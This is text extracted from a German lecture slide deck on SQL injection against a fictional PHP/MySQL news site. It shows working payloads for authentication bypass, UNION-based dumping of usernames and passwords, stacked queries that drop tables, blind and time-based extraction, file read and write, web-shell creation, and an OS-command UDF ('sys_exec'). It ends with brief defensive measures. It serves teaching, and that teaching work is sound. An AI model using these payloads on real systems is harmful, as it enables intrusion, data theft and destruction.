Beruflich Dokumente
Kultur Dokumente
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
Seite 3
Verbreitungswege
HTTP-POST
HTTP-GET
Cookie Hidden-Fields HTTP-Header Netzwerk-Header
Seite 4
Seite 5
Seite 6
Seite 7
Seite 8
Seite 9
Seite 10
Seite 11
Seite 12
Seite 13
login.php
Seite 14
login.php
Seite 15
login.php
Users-Table mit 5 Spalten
Seite 16
Seite 17
Seite 18
Seite 19
Seite 20
Seite 21
Gibt alle Zeilen einer Tabelle zurck Anmeldung als erster Benutzer in der Tabelle
Seite 22
Seite 23
Seite 24
Seite 25
Seite 26
Seite 27
Seite 28
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'irrelevant'' at line 3
Seite 29
#1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'irrelevant'' at line 3 Nachteil: Fehler werden geloggt.
Seite 30
Der Error ist zu Debugging Zwecken in der Webseite versteckt. Weiterleitung auf eine andere Webseite. HTTP Status Code 500 (Internal Server Error) Die Applikation behandelt das Metazeichen korrekt und zeigt ein leeres Ergebnis oder eine generische Fehlerseite an.
Seite 31
Seite 32
Seite 33
URL1: news.php?category=2 and 1=1 //news wird angezeigt URL2: news.php?category=2 and 1=0
Keine Errors in den Logs
Seite 34
URL1: news.php?category=2 and 1=1 //news wird angezeigt URL2: news.php?category=2 and 1=0 //keine news wird angezeigt
Keine Errors in den Logs
Seite 35
/*Benutzereingaben*/ URL1: news.php?category=1+5 URL2: news.php?category=2+4 URL3: news.php?category=3+3 URL4: news.php?category=6 and 1=1 URL5: news.php?category=5+(SELECT 1)
SELECT field FROM table WHERE field=admin SELECT field FROM table WHERE field=ad min
Seite 36
Der Union-Operator
SELECT field1,field2 FROM table1 Union All SELECT field1,field2 FROM table2
Seite 37
Der Union-Operator
SELECT field1,field2 FROM table1 Union All SELECT field1,field2 FROM table2
+--------+--------+ | field1 | field2| +--------+--------+ | val | val | | val | val | | val | val | | val | val | | val | val | +--------+--------+
Seite 38
Der Union-Operator
SELECT field1,field2 FROM table1 Union All SELECT field1,field2 FROM table2
+--------+--------+ | field1 | field2| +--------+--------+ | val | val | | val | val | | val | val | | val | val | | val | val | +--------+--------+
Seite 39
Der Union-Operator
Seite 40
Der Union-Operator
SELECT field1,field2 FROM table1 Union Distinct SELECT field1,field2 FROM table2
Seite 41
Seite 42
Seite 43
URL: news.php?category=2 UNION ALL SELECT username, password FROM users /*Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 UNION ALL SELECT username, password FROM users
Seite 44
URL: news.php?category=2 UNION ALL SELECT username, password FROM users /*Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 UNION ALL SELECT username, password FROM users /*#1222 - The used SELECT statements have a different number of columns*/ AND password = irrelevant;
Seite 45
Seite 46
/*Resultset*/ +--------+-----------------+------------+ | id | text | category | +--------+-----------------+------------+ |1 | schlagzeile1 | 2 | +--------+-----------------+------------+ | admin | secret |1 | +--------+-----------------+------------+ | user1 | passwd |1 | +--------+-----------------+------------+
Seite 47
/*Resultset*/ +--------+-----------------+------------+ | id | text | category | +--------+-----------------+------------+ |1 | schlagzeile1 | 2 | +--------+-----------------+------------+ | admin | secret |1 | +--------+-----------------+------------+ | user1 | passwd |1 | +--------+-----------------+------------+
Seite 48
/*Resultset*/ +--------+-----------------+------------+ | id | text | category | +--------+-----------------+------------+ | admin | secret |1 | +--------+-----------------+------------+ | user1 | passwd |1 | +--------+-----------------+------------+
Seite 49
GROUP BY 1 /*no error*/ GROUP BY 2 /*no error*/ GROUP BY 3 /*no error*/ GROUP BY 4
Seite 50
Stacked Queries
Seite 51
Stacked Queries
Vorgehen bei numerischen Werten: SELECT foo FROM bar; SELECT foo2 FROM bar2;
Seite 52
Stacked Queries
Vorgehen bei numerischen Werten: SELECT foo FROM bar; SELECT foo2 FROM bar2;
Seite 53
Stacked Queries
Vorgehen bei numerischen Werten: SELECT foo FROM bar; SELECT foo2 FROM bar2;
Werden auch Batched Queries genannt. Funktionieren mit MySQL + PHP nicht:
Seite 54
Stacked Queries
Vorgehen bei numerischen Werten: SELECT foo FROM bar; SELECT foo2 FROM bar2;
Werden auch Batched Queries genannt. Funktionieren mit MySQL + PHP nicht: ASP MySQL Postgres SQL Server Nein Ja Ja ASP.NET Ja Ja Ja PHP Nein Ja Ja
Seite 55
Username:;DROP TABLE users;/* Password: /*Resultierende Abfrage*/ SELECT * FROM users WHERE username = ;DROP TABLE users;/* AND password = ;
Seite 56
Username:;DROP TABLE users;/* Password: /*Resultierende Abfrage*/ SELECT * FROM users WHERE username = ;DROP TABLE users;/* AND password = ; Username:;INSERT INTO users VALUES(null,user,pwd, admin@localhost,1);/* Password: /*Resultierende Abfrage*/ SELECT * FROM users WHERE username = ;INSERT INTO users VALUES(null,user,pwd, admin@localhost,1);/* AND password = ;
Seite 57
Seite 58
Seite 59
Datenbankserver
MySQL SQL Server Oracle
Query
SELECT 'some' 'string' SELECT CONCAT('some','string') SELECT 'some' + 'string' SELECT 'some' || 'string' SELECT CONCAT('some','string')
Seite 60
Datenbankserver
MySQL SQL Server Oracle Banner Grabbing in MySQL:
SELECT version() SELECT @@version
Query
SELECT 'some' 'string' SELECT CONCAT('some','string') SELECT 'some' + 'string' SELECT 'some' || 'string' SELECT CONCAT('some','string')
Seite 61
Seite 62
/*Auflistung der MySQL Benutzernamen und Passwrter (Adminrechte bentigt)*/ SELECT User,Password FROM mysql.user; /*Passwrter sind ab MySQL > 4.1 als 41-Character SHA1 Hash gespeichert. Zum Zurckrechnen kann John the Ripper oder Cain & Abel eingesetzt werden.*/
Seite 63
/*Bestimmen welche Rechte ein User hat*/ SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;
Seite 64
/*Bestimmen welche Rechte ein User hat*/ SELECT grantee, privilege_type, is_grantable FROM information_schema.user_privileges;
/*Gibt die aktuelle Datenbank zurueck*/ SELECT DATABASE(); /*Auflistung aller Datenbanken (Adminrechte benoetigt)*/ SELECT distinct(db) FROM mysql.db;
Seite 65
/*Auflistung aller Datenbanken, Tabellen und Spalten ab MySQL-Version > 5.0*/ SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema !=information_schema AND table_schema != mysql
Seite 66
/*Auflistung aller Datenbanken, Tabellen und Spalten ab MySQL-Version > 5.0*/ SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema !=information_schema AND table_schema != mysql /*Gekrztes Resultset*/ +--------------+-------------+---------------+ | table_schema | table_name | column_name | +--------------+-------------+---------------+ | .... | ... | ... | | itsec | news | id | | itsec | news | text | | itsec | news | category | | itsec | users | id | | .... | ... | ... | +--------------+--------------+--------------+*/
Seite 67
Seite 68
URL: news.php?category=2 and 1=0 UNION ALL SELECT 1,VERSION(),1 /*Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 and 1=0 UNION ALL SELECT 1,VERSION(),1
Seite 70
Seite 71
URL1: news.php?category=2 UNION SELECT 1,2,<script>alert("sixss") </script> /*Resultierende Abfrage1*/ SELECT * FROM news WHERE category=2 UNION SELECT 1,2,<script>alert("sixss")</script>
Seite 72
URL1: news.php?category=2 UNION SELECT 1,2,<script>alert("sixss") </script> /*Resultierende Abfrage1*/ SELECT * FROM news WHERE category=2 UNION SELECT 1,2,<script>alert("sixss")</script>
Seite 73
URL1: news.php?category=2 UNION SELECT 1,2,<script>alert("sixss") </script> /*Resultierende Abfrage1*/ SELECT * FROM news WHERE category=2 UNION SELECT 1,2,<script>alert("sixss")</script>
Seite 74
URL1: news.php?category=2 UNION SELECT 1,2,<script>alert("sixss") </script> /*Resultierende Abfrage1*/ SELECT * FROM news WHERE category=2 UNION SELECT 1,2,<script>alert("sixss")</script>
Seite 75
Rckblick
was bisher besprochen wurde
Injections lokalisieren Database Fingerprinting / Datenbankschema Tautologien Authentication Bypass Stacked Queries SQL Injection XSS
Seite 76
Rckblick
was bisher besprochen wurde
Injections lokalisieren Database Fingerprinting / Datenbankschema Tautologien Authentication Bypass Stacked Queries SQL Injection XSS
Basic SQL-Injections
Seite 77
Advanced SQL-Injections
Second Order Injections Blind SQL Injections Filesystem Access Operating System Access
Seite 78
Advanced SQL-Injections
2nd Order Injections anhand eines Beispiels
Seite 79
Advanced SQL-Injections
2nd Order Injections anhand eines Beispiels
Seite 80
Advanced SQL-Injections
2nd Order Injections anhand eines Beispiels
1. Anmeldung auf einer fiktiven Webseite mit: Username: admin-- und Passwort: pwd
Seite 81
Advanced SQL-Injections
2nd Order Injections anhand eines Beispiels
1. Anmeldung auf einer fiktiven Webseite mit: Username: admin-- und Passwort: pwd INSERT INTO users VALUES (null,admin\-- ,pwd,malory@gmx.de,0);
Seite 82
Advanced SQL-Injections
2nd Order Injections anhand eines Beispiels
1. Anmeldung auf einer fiktiven Webseite mit: Username: admin-- und Passwort: pwd INSERT INTO users VALUES (null,admin\-- ,pwd,malory@gmx.de,0);
Seite 83
Advanced SQL-Injections
2nd Order Injections anhand eines Beispiels
1. Anmeldung auf einer fiktiven Webseite mit: Username: admin-- und Passwort: pwd INSERT INTO users VALUES (null,admin\-- ,pwd,malory@gmx.de,0);
2. Auf Webseite knnte Option zur Passwortnderung existieren: $queryString = "UPDATE users SET password=" . newPassword . " " . "WHERE userName=" . userName . " AND " . "password=" . oldPassword . "";
Seite 84
Advanced SQL-Injections
2nd Order Injections anhand eines Beispiels
1. Anmeldung auf einer fiktiven Webseite mit: Username: admin-- und Passwort: pwd INSERT INTO users VALUES (null,admin\-- ,pwd,malory@gmx.de,0);
2. Auf Webseite knnte Option zur Passwortnderung existieren: $queryString = "UPDATE users SET password=" . newPassword . " " . "WHERE userName=" . userName . " AND " . "password=" . oldPassword . ""; Resultierende Query: UPDATE users SET password=gotcha WHERE userName=admin-- AND password=oldpassword
Seite 85
Advanced SQL-Injections
2nd Order Injections anhand eines Beispiels
1. Anmeldung auf einer fiktiven Webseite mit: Username: admin-- und Passwort: pwd INSERT INTO users VALUES (null,admin\-- ,pwd,malory@gmx.de,0);
2. Auf Webseite knnte Option zur Passwortnderung existieren: $queryString = "UPDATE users SET password=" . newPassword . " " . "WHERE userName=" . userName . " AND " . "password=" . oldPassword . ""; Resultierende Query: UPDATE users SET password=gotcha WHERE userName=admin-- AND password=oldpassword
Seite 86
Advanced SQL-Injections
2nd Order Injections anhand eines Beispiels
1. Anmeldung auf einer fiktiven Webseite mit: Username: admin-- und Passwort: pwd INSERT INTO users VALUES (null,admin\-- ,pwd,malory@gmx.de,0);
2. Auf Webseite knnte Option zur Passwortnderung existieren: $queryString = "UPDATE users SET password=" . newPassword . " " . "WHERE userName=" . userName . " AND " . "password=" . oldPassword . ""; Resultierende Query: UPDATE users SET password=gotcha WHERE userName=admin-- AND password=oldpassword
Seite 87
Advanced SQL-Injections
Blind SQL Injections
Seite 88
Advanced SQL-Injections
Blind SQL Injections
No Errors/Feedback/Union available
Seite 89
Advanced SQL-Injections
Blind SQL Injections
Auch genannt TRUE/False Injections. Extrahieren pro Anfrage 1 Bit an Information mssen automatisiert sein
No Errors/Feedback/Union available
Seite 90
Advanced SQL-Injections
Blind SQL Injections
Auch genannt TRUE/False Injections. Extrahieren pro Anfrage 1 Bit an Information mssen automatisiert sein Zeitbasierte Blind Injection
No Errors/Feedback/Union available
Seite 91
Advanced SQL-Injections
Blind SQL Injections
Auch genannt TRUE/False Injections. Extrahieren pro Anfrage 1 Bit an Information mssen automatisiert sein Zeitbasierte Blind Injection Fehlerbasierte Blind Injection
No Errors/Feedback/Union available
Seite 92
Advanced SQL-Injections
Blind SQL Injections
Auch genannt TRUE/False Injections. Extrahieren pro Anfrage 1 Bit an Information mssen automatisiert sein Zeitbasierte Blind Injection Fehlerbasierte Blind Injection Inhaltsbezogene Blind Injection No Errors/Feedback/Union available
Seite 93
Seite 94
Seite 95
Seite 96
URL: news.php?category=2 UNION SELECT IF(SUBSTRING(USER(),1,4)=root,SLEEP(5),1),2,3 /*Resultierende Query*/ SELECT * FROM news WHERE category=2 UNION SELECT IF(SUBSTRING(USER(),1,4)=root,SLEEP(5),1),2,3
Seite 97
Seite 98
Seite 99
Seite 100
Seite 101
Wenn >5 dann vergleicht REGEX match mit match True Ansonsten vergleicht REGEX match mit SQL-Error no pattern supplied
Seite 102
Wenn >5 dann vergleicht REGEX match mit match True Ansonsten vergleicht REGEX match mit SQL-Error no pattern supplied
/*Resultierende Query*/ SELECT * FROM news WHERE category=IF((SELECT match REGEXP IF(SUBSTR(@@version,1,1)=5,match,)),2,egal)
Seite 103
Seite 104
Seite 105
Seite 106
var username = SELECT grantee FROM information_schema.user_privileges WHERE privilege_type=File Limit 1 var asciicode = SELECT ascii(substring(username,1,1))
Seite 107
var username = SELECT grantee FROM information_schema.user_privileges WHERE privilege_type=File Limit 1 var asciicode = SELECT ascii(substring(username,1,1)) URL = news.php?category=2 and asciicode > 77
Seite 108
var username = SELECT grantee FROM information_schema.user_privileges WHERE privilege_type=File Limit 1 var asciicode = SELECT ascii(substring(username,1,1)) URL = news.php?category=2 and asciicode > 77
Seite 109
var username = SELECT grantee FROM information_schema.user_privileges WHERE privilege_type=File Limit 1 var asciicode = SELECT ascii(substring(username,1,1))
T: Kategorie 2 wird angezeigt
Seite 110
var username = SELECT grantee FROM information_schema.user_privileges WHERE privilege_type=File Limit 1 var asciicode = SELECT ascii(substring(username,1,1))
T: Kategorie 2 wird angezeigt
URL = news.php?category=2 and asciicode > 77 /*Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 and( SELECT ascii(substring(( SELECT grantee FROM information_schema.user_privileges WHERE privilege_type=File Limit 1 ),1,1)) ) > 77
F: Nichts wird angezeigt
Seite 111
Filesystem Access
Seite 112
Filesystem Access
Seite 113
Filesystem Access
Seite 114
Filesystem Access
Seite 115
Filesystem Access
Seite 116
Filesystem Access
Reading on Filesystem
Seite 117
Filesystem Access
Reading on Filesystem
URL: news.php?category=2 UNION SELECT LOAD_FILE(C:/Windows/Temp/itsecproject.txt),null,null /*Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 UNION SELECT LOAD_FILE(C:/Windows/Temp/itsecproject.txt),null,null
Seite 118
Filesystem Access
Reading on Filesystem
URL: news.php?category=2 UNION SELECT LOAD_FILE(C:/Windows/Temp/itsecproject.txt),null,null /*Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 UNION SELECT LOAD_FILE(C:/Windows/Temp/itsecproject.txt),null,null
Seite 119
Filesystem Access
Writing on Filesystem
Seite 120
Filesystem Access
Writing on Filesystem
/*INTO OUTFILE fr Textdateien*/ SELECT <?php phpinfo()?> INTO OUTFILE C:/xampp/htdocs/itsec/info.php; /*INTO DUMPFILE fr Binrdateien*/ SELECT 0x273c3f70687020706870696e666f28293f3e27 INTO DUMPFILE C:/xampp/htdocs/itsec/info.php;
Seite 122
Seite 123
Aufruf: victim.de/shell.php?cmd=dir>test.txt
Seite 124
Seite 125
Verwendung um z.B. COSH(), ATAN() zur SQL-Sprache hinzuzufgen. Aufruf wie SUM(), MAX()
Seite 126
Verwendung um z.B. COSH(), ATAN() zur SQL-Sprache hinzuzufgen. Aufruf wie SUM(), MAX()
int sys_exec( UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { if( args->arg_count != 1 ) return 0; system( args->args[0] ); return 0; }
Seite 127
Schritte fr Exploit:
Seite 128
Schritte fr Exploit:
1. DLL mit sys_exec() erstellen oder besorgen.
Seite 129
Schritte fr Exploit:
1. DLL mit sys_exec() erstellen oder besorgen. 2. DLL auf Zielrechner kopieren (siehe Writing on Filesystem).
Seite 130
Schritte fr Exploit:
1. DLL mit sys_exec() erstellen oder besorgen. 2. DLL auf Zielrechner kopieren (siehe Writing on Filesystem). 3. Die Funktionen in der DLL mssen beim DBMS registriert werden.
Seite 131
Schritte fr Exploit:
1. 2. 3. 4. DLL mit sys_exec() erstellen oder besorgen. DLL auf Zielrechner kopieren (siehe Writing on Filesystem). Die Funktionen in der DLL mssen beim DBMS registriert werden. Warten bis MySQL neugestartet wird.
Test:
Seite 132
Schritte fr Exploit:
1. 2. 3. 4. DLL mit sys_exec() erstellen oder besorgen. DLL auf Zielrechner kopieren (siehe Writing on Filesystem). Die Funktionen in der DLL mssen beim DBMS registriert werden. Warten bis MySQL neugestartet wird.
Test:
/*Benutzereingabe*/ URL: news.php?category=2 UNION SELECT null,null, sys_exec(shutdown /s)
Seite 133
Schritte fr Exploit:
1. 2. 3. 4. DLL mit sys_exec() erstellen oder besorgen. DLL auf Zielrechner kopieren (siehe Writing on Filesystem). Die Funktionen in der DLL mssen beim DBMS registriert werden. Warten bis MySQL neugestartet wird.
Test:
/*Benutzereingabe*/ URL: news.php?category=2 UNION SELECT null,null, sys_exec(shutdown /s) /*Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 UNION SELECT null,null, sys_exec(shutdown /s)
Seite 134
Schritte fr Exploit:
1. 2. 3. 4. DLL mit sys_exec() erstellen oder besorgen. DLL auf Zielrechner kopieren (siehe Writing on Filesystem). Die Funktionen in der DLL mssen beim DBMS registriert werden. Warten bis MySQL neugestartet wird.
Test:
/*Benutzereingabe*/ URL: news.php?category=2 UNION SELECT null,null, sys_exec(shutdown /s) /*Resultierende Abfrage*/ SELECT * FROM news WHERE category=2 UNION SELECT null,null, sys_exec(shutdown /s) /*PC wird in einer Minute heruntergefahren.*/ /*Abbrechen mit shutdown -a*/
Schutzmanahmen
Seite 137
https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
Seite 138
Schutzmanahmen
Allgemein
Seite 139
Validating Input
Encoding Input Prepared Statements Encoding Output Canonicalization
Seite 140
Seite 141
Seite 142
Zusammenfassung
Seite 144
Basic SQL-Injections
Injections lokalisieren Database Fingerprinting / Datenbankschema Tautologien Authentication Bypass Stacked Queries SQL Injection XSS
Seite 145
Advanced SQL-Injections
Second Order Injections Blind SQL Injections Filesystem Access Operating System Access